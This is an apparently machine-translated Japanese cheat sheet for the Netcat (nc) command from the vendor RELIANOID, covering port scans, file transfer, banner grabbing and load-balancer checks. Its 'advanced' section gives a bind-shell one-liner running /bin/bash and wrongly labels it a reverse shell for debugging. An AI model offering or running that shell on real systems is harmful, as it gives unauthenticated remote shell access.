nc (Netcat) コマンド チートシート

カテゴリを表示

nc (Netcat) コマンド チートシート

所要時間

Linux nc (Netcat) コマンド #

Linux nc (Netcat) コマンドは、ネットワーク通信、デバッグ、テストに使用される多用途のネットワークユーティリティです。単純なサーバーまたはクライアントとして動作し、TCP または UDP 経由のデータの読み書きをサポートします。ネットワークの「スイスアーミーナイフ」とも呼ばれています。 nc ポートスキャン、ファイル転送、ネットワークサービスのテストなどのタスクに広く使用されています。

キーの使用法と構文 nc Command #

の基本的な構文 nc コマンドは:

nc [OPTIONS] [HOST] [PORT]

  • OPTIONS: の動作を制御するフラグ nc.
  • 主催者: 接続のターゲットホスト。
  • PORT: ターゲットポート番号。

nc コマンドチートシート表 #

Command 詳細説明
nc -zv example.com 80 ポート80がオンになっているかテストする example.com 開いています (詳細モード)。
nc -l 1234 ポート 1234 でリスナーを開始します。
nc example.com 80 ポート80に接続 example.com (例: HTTP リクエストを送信する)。
nc -u example.com 1234 UDPポート1234にデータを送信 example.com.
nc -l -p 8080 ポート 8080 でリッスンするサーバーを起動します。
echo "Hello" | nc example.com 1234 メッセージを送ります Hello 〜へ example.com ポート1234で。

一般的な使用例 #

1. ポートスキャン #

nc -zv example.com 20-25

このコマンドはポート20~25をスキャンします example.com ステータスを出力します。

2. シンプルなチャットの設定 #

2 つのシステム間で簡単なチャットを設定します。

最初のシステムの場合: #

nc -l -p 1234

2番目のシステムの場合: #

nc HOSTNAME 1234

交換する HOSTNAME 最初のシステムの IP アドレスを使用します。

3. ファイル転送 #

2つのシステム間でファイルを転送するには nc:

送信者: #

cat file.txt | nc -q 0 HOSTNAME 1234

受信機: #

nc -l -p 1234 > file.txt

4. バナーグラビング #

リモート サーバーからサービス情報を取得します。

nc example.com 80

タイプ HEAD / HTTP/1.0 を押し Enter HTTP ヘッダーを表示するには 2 回クリックします。

高度な使用法 #

UDP接続 #

ターゲットへの UDP 接続をテストします。

nc -u example.com 1234

これはUDPポート1234にデータを送信します example.com.

バインドシェル #

デバッグ用の簡単なリバース シェルを作成します。

リモート マシン上: #

nc -l -p 4444 -e /bin/bash

攻撃者のマシン上: #

nc TARGET 4444

Netcatを安全に使用する #

セキュリティを強化するには、暗号化バージョンを使用してください。 nc (例えば、 ncat SSL 対応)。

使い方 nc   RELIANOID ソリューション #

In RELIANOIDのネットワークインフラストラクチャ、 nc さまざまな診断および運用目的に使用できます。

1. ロードバランサの接続をテストする #

nc -zv loadbalancer.realianoid.local 80

ロード バランサーがポート 80 でトラフィックを受け入れていることを確認します。

2. バックエンドサービスを監視する #

バックエンド サーバーのステータスをすばやく確認します。

nc -zv backend1.realianoid.local 8080

これは、バックエンド サービスがポート 8080 でアクセス可能かどうかを確認します。

3. プロキシサーバー転送を検証する #

プロキシ サーバーがトラフィックを正しく転送しているかどうかをテストします。

nc proxy.realianoid.local 443

4. カスタムプロトコルのデバッグ #

  nc カスタムプロトコルとの相互作用をデバッグまたはシミュレートする RELIANOIDの環境。

nc -l -p 5555

プロトコル メッセージをテストするためのリスナーを設定します。

製品概要 #

その nc (Netcat)コマンドは、ネットワークプロフェッショナルにとって欠かせないツールです。ポートスキャン、ファイル転送、接続のデバッグなどの機能を備えているため、多用途のアプリケーションに最適です。 nc   RELIANOID インフラストラクチャは、堅牢なネットワーク パフォーマンスと迅速な問題解決を保証します。

📄 この文書をPDF形式でダウンロードする #

    EMAIL: *